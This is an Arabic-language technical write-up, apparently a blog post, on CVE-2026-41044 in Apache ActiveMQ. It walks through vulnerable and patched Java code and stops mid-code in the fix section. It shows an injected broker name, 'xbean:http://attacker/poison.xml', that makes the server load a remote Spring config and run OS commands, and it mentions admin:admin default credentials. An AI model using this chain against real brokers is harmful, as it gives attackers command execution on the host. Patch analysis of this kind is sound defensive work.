CVE-2026-41044

ملاحظة: لأغراض تعليمية فقط

من النشرة إلى تحليل السبب الجذري في ظهيرة واحدة: كيف يختصر الذكاء الاصطناعي تحليل الثغرات القديمة

شرح موجز وصادق لـ CVE-2026-41044 في Apache ActiveMQ باستخدام الكود الدقيق قبل وبعد التصحيح.

---

تم الكشف عن CVE-2026-41044 في 24 أبريل 2026. وهي ثغرة تنفيذ كود عن بُعد في Apache ActiveMQ Classic، اكتشفها jsjcw، وتم تصحيحها في الإصدارين 5.19.6 و6.2.5. لم أكن أنا من اكتشفها.

ما أريد إظهاره هو كيف يمكن لشخص لم يتعامل مع ActiveMQ من قبل أن ينتج استغلالًا عمليًا لثغرة قديمة في ظهيرة واحدة، لأن الكود المُصحح متاح للعموم، والكود غير المُصحح متاح للعموم، والفجوة بينهما لا تتعدى git diff.

---

الجزء الأول: سير العمل

العملية بسيطة:

1. اقرأ النشرة، ولاحظ الملفات المتأثرة، وCWE، وأي أسماء دوال مذكورة.
2. قارن بين آخر إصدار ثغري وأول إصدار مُصحح جنبًا إلى جنب.
3. اطلب من نموذج ذكاء اصطناعي مقارنة الملفات ذات الصلة وشرح كل تغيير.
4. أعد إنتاج سلسلة الاستغلال في بيئة محلية واختبرها من البداية إلى النهاية.

ما كان يستغرق أيامًا أصبح الآن يستغرق ظهيرة واحدة. الذكاء الاصطناعي لا يكتشف الثغرات. إنه يقرأ الكود ويشرحه بسرعة طرحك للأسئلة. الجزء المكلف ما زال عليك أنت: تحديد ما هو قابل للاستغلال فعليًا، وأين تقع حدود الثقة الحقيقية، وما يحتاج إلى تحقق. النموذج فقط يتنقل عبر مخططات الاستدعاء أسرع من أي إنسان.

النقطة الأكبر: إذا كان سير عمل التصحيح لديك يفترض أسبوعًا من التحليل لكل CVE، فأنت على الجدول الزمني القديم. git diff بنفس الطول سواء كنت تكتب كشفًا أو استغلالًا.

---

الجزء الثاني: CVE-2026-41044

ما هو ActiveMQ؟

ActiveMQ هو وسيط رسائل. يجلس في المنتصف ويمرر الرسائل بين التطبيقات. فكر فيه كمكتب بريد: التطبيقات تودع الرسائل، وActiveMQ يوصلها إلى المستلم الصحيح. وهو منتشر على نطاق واسع في البيئات المؤسسية القائمة على Java، ويعرض وحدة تحكم ويب وواجهة REST للإدارة تسمى Jolokia على /api/jolokia/. بيانات الاعتماد الافتراضية في العديد من النشرات ما زالت admin:admin.

---

الثغرة في جملة واحدة

سمح ActiveMQ لأي مستخدم مُصادق بتحميل إعدادات الوسيط من عنوان HTTP عشوائي، والتي يقوم Spring بتحليلها وتنفيذها فورًا ككائنات Java - بما في ذلك ProcessBuilder - مما يمنح المهاجم تنفيذ أوامر كامل على نظام تشغيل خادم الوسيط.

---

الخلفية: المصطلحات التي تحتاجها

• Broker: خادم ActiveMQ قيد التشغيل. يُعرَّف باسم، الافتراضي localhost.
• Jolokia: جسر HTTP-to-JMX على /api/jolokia/ يعرض عمليات الإدارة كواجهة REST API. أي بيانات اعتماد صالحة لوحدة التحكم تصل إليه - وليس فقط المسؤول.
• نقل vm://: النقل داخل العملية المستخدم عندما يعيش العميل في نفس JVM الخاص بالوسيط. يقبل معامل استعلام ?brokerConfig= يشير إلى إعداد Spring XML لتهيئة وسيط منه.
• xbean:: مخطط عنوان URL يخبر ActiveMQ بمعاملة العنوان كإعداد Spring XML وتحميله.
• حبوب Spring / init-method: يقرأ Spring ملف XML وينشئ تلقائيًا كائنات Java (حبوب). تخبر سمة init-method Spring باستدعاء دالة على الحبة لحظة إنشائها - قبل تشغيل أي شيء آخر.
• ProcessBuilder: فئة Java قياسية تنفذ أوامر نظام التشغيل. ProcessBuilder.start() تنفذ الأمر.

---

السلسلة: خمس طبقات، كود حقيقي

الطبقة 1 - DestinationView يبني عنوان URL عبر تسلسل النصوص

DestinationView.sendTextMessage() في الإصدار 5.19.2 يبني عنوان اتصال الوسيط عبر تسلسل اسم الوسيط مباشرة في نص:

// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);

إذا أعاد getBrokerName() القيمة localhost?brokerConfig=xbean:http://attacker/poison.xml، يصبح هذا النص بأكمله URI صالحًا لـ vm:// مع معامل استعلام مضمّن. يسلمه ActiveMQConnectionFactory إلى VMTransportFactory، الذي يرفع معامل brokerConfig ويستخدمه كعنوان إعداد تهيئة الوسيط.

الإصلاح في 5.19.6 هو سطر واحد:

// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();

يتحول String إلى URI - لم يعد التسلسل العرضي ممكنًا. القيمة تأتي من كائن URI مُنشأ مسبقًا وغير قابل للتغيير مشتق من موصل VM المسجل الفعلي للوسيط، وليس من نص اسم قابل للتغيير.

---

الطبقة 2 - نقطة التسميم في RegionBroker

لكي تكون الطبقة 1 قابلة للاستغلال، يجب تسميم اسم الوسيط أولًا. لطالما قام BrokerService بتعقيم أسماء الوسيط:

// BrokerService.setBrokerName() - موجود في كلا الإصدارين
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");

هذا التعبير النمطي يزيل ? و= بشكل نظيف. وُجدت الثغرة لأن RegionBroker كان لديه مُحدِّد منفصل خاص به لم يقم بذلك:

// 5.19.2 - RegionBroker.java
private String brokerName;           // قابل للتغيير

public void setBrokerName(String brokerName) {
    this.brokerName = brokerName;    // لا تحقق إطلاقًا
}

هذا مثال كلاسيكي على "الوكيل المشوش" - مُحدِّدان على فئات مترابطة، واحد فقط منهما يعقّم. نظير بعيد يبث حزمة BrokerInfo مصممة خصيصًا مع حقل اسم مسموم يصل مباشرة إلى RegionBroker.setBrokerName()، متجاوزًا تعبير BrokerService النمطي بالكامل.

الإصلاح في 5.19.6 يحذف المُحدِّد، ويجعل الحقل final، ويهيئه مرة واحدة من الأصل المعقّم بالفعل:

// 5.19.6 - RegionBroker.java
private final String brokerName;     // غير قابل للتغيير

public RegionBroker(BrokerService brokerService, ...) {
    this.brokerName = Objects.requireNonNull(
        brokerService.getBrokerName(), "The broker name cannot be null");
    // setBrokerName() لم يعد موجودًا. لا يوجد مُحدِّد بعد الآن.
}

لا يمكنك تجاوز أداة تعقيم لا يوجد لها كاتب موازٍ.

---

الطبقة 3 - VMTransportFactory: لم يتغير عمدًا

VMTransportFactory.doCompositeConnect() هي الدالة التي تأخذ URI بصيغة vm://...?brokerConfig=...، وترفع معامل brokerConfig، وتستدعي BrokerFactory.createBroker(brokerURI). إنها آلية التشغيل للسلسلة بأكملها.

لم يغير Apache أي شيء هنا إطلاقًا.

هذا الاختيار يخبرك بشيء عن طريقة تفكيرهم في الإصلاح. VMTransportFactory يقوم بعمل مشروع - نقل vm:// من المفترض فعليًا أن يقبل إعدادات التهيئة. تصحيحه كان سيكسر التصميم المقصود. بدلًا من ذلك، أصلح Apache الثغرة عند المصدر (الطبقة 2: لا يمكن كتابة اسم مسموم) وعند نقطة الاستهلاك (الطبقة 5: حتى لو وصل عنوان مسموم، لن يجلبه محلل الموارد).

أصلح الطبقات التي ينتمي إليها التحقق، وليس الطبقة التي صادف أن المهاجم مرّ عبرها.

---

الطبقة 4 - XBeanBrokerFactory يسلم URI إلى Spring

// XBeanBrokerFactory - نفسه في كلا الإصدارين
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);   // الطبقة 5
    return new ResourceXmlApplicationContext(resource) { ... };
}

ResourceXmlApplicationContext(resource) هو المكان الذي يقوم فيه Spring بعمله - كل init-method للحبوب يعمل عند بناء السياق، قبل أن يتحقق BrokerService الخاص بـ ActiveMQ من النتيجة. لا يوجد تصحيح يمكن إجراؤه هنا. عقد Spring صحيح كما صُمم. الثغرة كانت أن ActiveMQ اعتمد على حدوث التحقق قبل الإنشاء، وSpring لا يعد بذلك الترتيب.

---

الطبقة 5 - Utils.resourceFromString: الإصلاح البدائي الفعلي

هذه هي الدالة التي قررت ما إذا كان يجب جلب xbean:http://attacker/poison.xml. في 5.19.2:

// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    if (new File(uri).exists()) {
        return new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        return new UrlResource(ResourceUtils.getURL(uri));  // http? ftp? jar? لا تحقق.
    } else {
        return new ClassPathResource(uri);
    }
}

لا مرشح للبروتوكول. http://، https://، ftp://، jar:// - كلها مقبولة بصمت.

إصلاح 5.19.6 يضيف قائمة سماح صريحة. فقط file وclasspath مسموحان افتراضيًا. كل شيء آخر يرمي استثناءً قبل إنشاء UrlResource:

// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL      = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";